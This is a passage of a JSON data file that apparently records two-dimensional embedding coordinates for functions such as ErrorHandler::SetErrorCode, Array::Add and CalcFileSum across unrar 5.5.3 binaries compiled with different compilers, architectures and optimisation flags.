"y": -33.947349548339844}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 2.4810049533843994, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -35.190311431884766}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 0.709408164024353, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -34.55857849121094}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 2.7160863876342773, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -34.115943908691406}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -3.8058362007141113, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 30.528125762939453}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -4.633936405181885, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 30.347326278686523}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -3.3596575260162354, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 31.207265853881836}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -4.386938571929932, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 31.109983444213867}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -5.309070110321045, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 30.70203399658203}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -4.417468547821045, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 32.14665222167969}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -3.8534600734710693, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 31.796659469604492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -5.6480255126953125, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 32.192256927490234}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -5.039857864379883, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 32.599647521972656}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -4.894568920135498, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 31.62919807434082}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -5.689997673034668, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 31.408607482910156}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 25.704469680786133, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 21.974620819091797}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 26.5782527923584, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 21.89468765258789}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 27.079866409301758, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 21.199430465698242}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 25.088655471801758, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 21.44467544555664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 26.180843353271484, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 21.277189254760742}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 26.28951644897461, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 20.572553634643555}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 25.589811325073242, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 20.908584594726562}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 26.961782455444336, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 20.39203453063965}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -22.439247131347656, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -21.066463470458984}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -22.69173240661621, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -20.38147735595703}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -24.241565704345703, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -19.72210693359375}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -23.240936279296875, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -19.7125186920166}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -23.755863189697266, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -19.112653732299805}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -24.124786376953125, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -20.60554313659668}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -23.419601440429688, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -20.3210506439209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -23.348800659179688, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -21.172061920166016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": -28.55487823486328, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -8.72823715209961}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": -28.554826736450195, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -8.715322494506836}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": -28.582534790039062, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -7.838347911834717}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": -28.58352279663086, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -7.845927715301514}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -21.227272033691406, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -4.792773246765137}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -20.4963321685791, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -4.717275142669678}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -20.732337951660156, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -5.492486476898193}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -19.85768699645996, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -4.846833229064941}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -19.1893367767334, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -5.143648624420166}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -19.92292594909668, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -5.632265090942383}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -19.92207145690918, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -3.183516263961792}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -19.289325714111328, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -3.58253812789917}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -20.626150131225586, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -3.3783390522003174}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -20.017616271972656, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -3.991530656814575}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": -19.068727493286133, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -4.210209369659424}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -21.041927337646484, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -3.8769845962524414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": -24.73028564453125, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -15.769231796264648}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": -24.723033905029297, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -15.777128219604492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -8.901924133300781, "function_name": "_ZN5ArrayIcE3AddE", "y": -16.84758758544922}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -8.902362823486328, "function_name": "_ZN5ArrayIcE3AddE", "y": -16.8468074798584}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": -8.560380935668945, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.728055953979492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": -8.560380935668945, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.728055953979492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": 10.371665000915527, "function_name": "_ZN5ArrayIcE3AddE", "y": -10.84489631652832}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -10.305060386657715, "function_name": "_ZN5ArrayIcE3AddE", "y": 23.055017471313477}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -9.635843276977539, "function_name": "_ZN5ArrayIcE3AddE", "y": 22.940338134765625}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -9.128317832946777, "function_name": "_ZN5ArrayIcE3AddE", "y": 23.397512435913086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -9.857915878295898, "function_name": "_ZN5ArrayIcE3AddE", "y": 23.698673248291016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -10.38951301574707, "function_name": "_ZN5ArrayIcE3AddE", "y": 24.284727096557617}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -9.161263465881348, "function_name": "_ZN5ArrayIcE3AddE", "y": 24.075605392456055}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -10.652078628540039, "function_name": "_ZN5ArrayIcE3AddE", "y": 23.648727416992188}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -9.73099422454834, "function_name": "_ZN5ArrayIcE3AddE", "y": 24.469627380371094}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 10.38250732421875, "function_name": "_ZN5ArrayIcE3AddE", "y": -10.828250885009766}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -14.66431713104248, "function_name": "_ZN5ArrayIcE3AddE", "y": -16.80849266052246}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -14.830365180969238, "function_name": "_ZN5ArrayIcE3AddE", "y": -18.338258743286133}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -14.022233963012695, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.038467407226562}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -14.56836223602295, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.589481353759766}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -15.294553756713867, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.848129272460938}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -15.232852935791016, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.173778533935547}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -14.164962768554688, "function_name": "_ZN5ArrayIcE3AddE", "y": -18.26387596130371}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -13.80594253540039, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.680330276489258}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": -2.2840375900268555, "function_name": "_ZN5ArrayIcE3AddE", "y": -11.475106239318848}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": -2.2852773666381836, "function_name": "_ZN5ArrayIcE3AddE", "y": -11.482215881347656}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": -3.2443511486053467, "function_name": "_ZN5ArrayIcE3AddE", "y": -11.682321548461914}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": -3.2463645935058594, "function_name": "_ZN5ArrayIcE3AddE", "y": -11.678778648376465}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -11.303912162780762, "function_name": "_ZN5ArrayIcE3AddE", "y": -22.475244522094727}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -10.984660148620605, "function_name": "_ZN5ArrayIcE3AddE", "y": -22.285385131835938}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -11.320144653320312, "function_name": "_ZN5ArrayIcE3AddE", "y": -23.020198822021484}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -10.970197677612305, "function_name": "_ZN5ArrayIcE3AddE", "y": -23.176973342895508}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": -6.613818168640137, "function_name": "_ZN5ArrayIcE3AddE", "y": -16.34524154663086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": -6.615630626678467, "function_name": "_ZN5ArrayIcE3AddE", "y": -16.345537185668945}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": -6.526862621307373, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.401161193847656}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": -6.526694297790527, "function_name": "_ZN5ArrayIcE3AddE", "y": -17.400894165039062}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": -9.838977813720703, "function_name": "_ZN5ArrayIcE3AddE", "y": -23.16281509399414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": -9.5058012008667, "function_name": "_ZN5ArrayIcE3AddE", "y": -23.01393699645996}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -9.4977388381958, "function_name": "_ZN5ArrayIcE3AddE", "y": -22.46537208557129}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -9.841201782226562, "function_name": "_ZN5ArrayIcE3AddE", "y": -22.282846450805664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 9.172947883605957, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.998626708984375}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 9.177755355834961, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.989898204803467}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 9.164717674255371, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.995171546936035}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": 1.6596791744232178, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -16.526836395263672}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": 1.6603021621704102, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -16.5267276763916}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": 1.7827919721603394, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.017486333847046}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": 1.7831923961639404, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.017444133758545}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": -0.5358602404594421, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.1379554271698}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": -0.5362632274627686, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.1378467082977295}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -3.127617359161377, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.779660701751709}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -3.1279594898223877, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.780688762664795}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": 7.776429653167725, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -2.152972936630249}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 10.917447090148926, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -1.9190969467163086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 10.914474487304688, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -1.9206591844558716}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 10.914474487304688, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -1.9206591844558716}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 13.501405715942383, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.857528209686279}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 14.21037769317627, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.182220935821533}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 13.72486400604248, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.2503156661987305}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 12.988287925720215, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.394744396209717}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 12.751370429992676, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.768156051635742}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 13.06937313079834, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.207739353179932}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 13.63998794555664, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -6.538572311401367}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 14.278743743896484, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.5355095863342285}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 7.801651477813721, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -0.45095932483673096}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 7.724887847900391, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -0.4591478705406189}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": -2.4129481315612793, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -2.0521974563598633}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": -2.413557291030884, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -2.0498692989349365}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 5.751853942871094, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.527505874633789}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 5.7496771812438965, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.516246318817139}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 5.75614595413208, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -5.523108959197998}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 9.780202865600586, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -19.873838424682617}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 9.77982234954834, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -19.87307357788086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 9.160394668579102, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -4.880142688751221}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 9.161815643310547, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -4.88010835647583}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 8.1273775100708, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.414479970932007}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 8.121368408203125, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.4186465740203857}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 8.121368408203125, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -3.4186465740203857}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 10.028244972229004, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 1.668581485748291}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 9.89957046508789, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 2.0721275806427}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 9.898313522338867, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 2.3893096446990967}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 11.01484489440918, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 1.5417240858078003}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 10.979039192199707, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 2.0683348178863525}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 11.408292770385742, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 1.9712501764297485}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 10.98625373840332, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 3.318246364593506}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 10.652390480041504, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 3.3526368141174316}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 11.35628890991211, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": 3.1781463623046875}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 8.008729934692383, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -21.84738540649414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 8.009049415588379, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -21.847707748413086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 8.008729934692383, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -21.84738540649414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 13.934216499328613, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -4.060707092285156}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 11.795310974121094, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -22.69327735900879}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 11.797128677368164, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -22.694740295410156}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 11.79712963104248, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -22.69474220275879}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 5.063383102416992, "function_name": "_Z11CalcFileSumP4FilePjPhjl", "y": -2.840418815612793}, {"file_name": 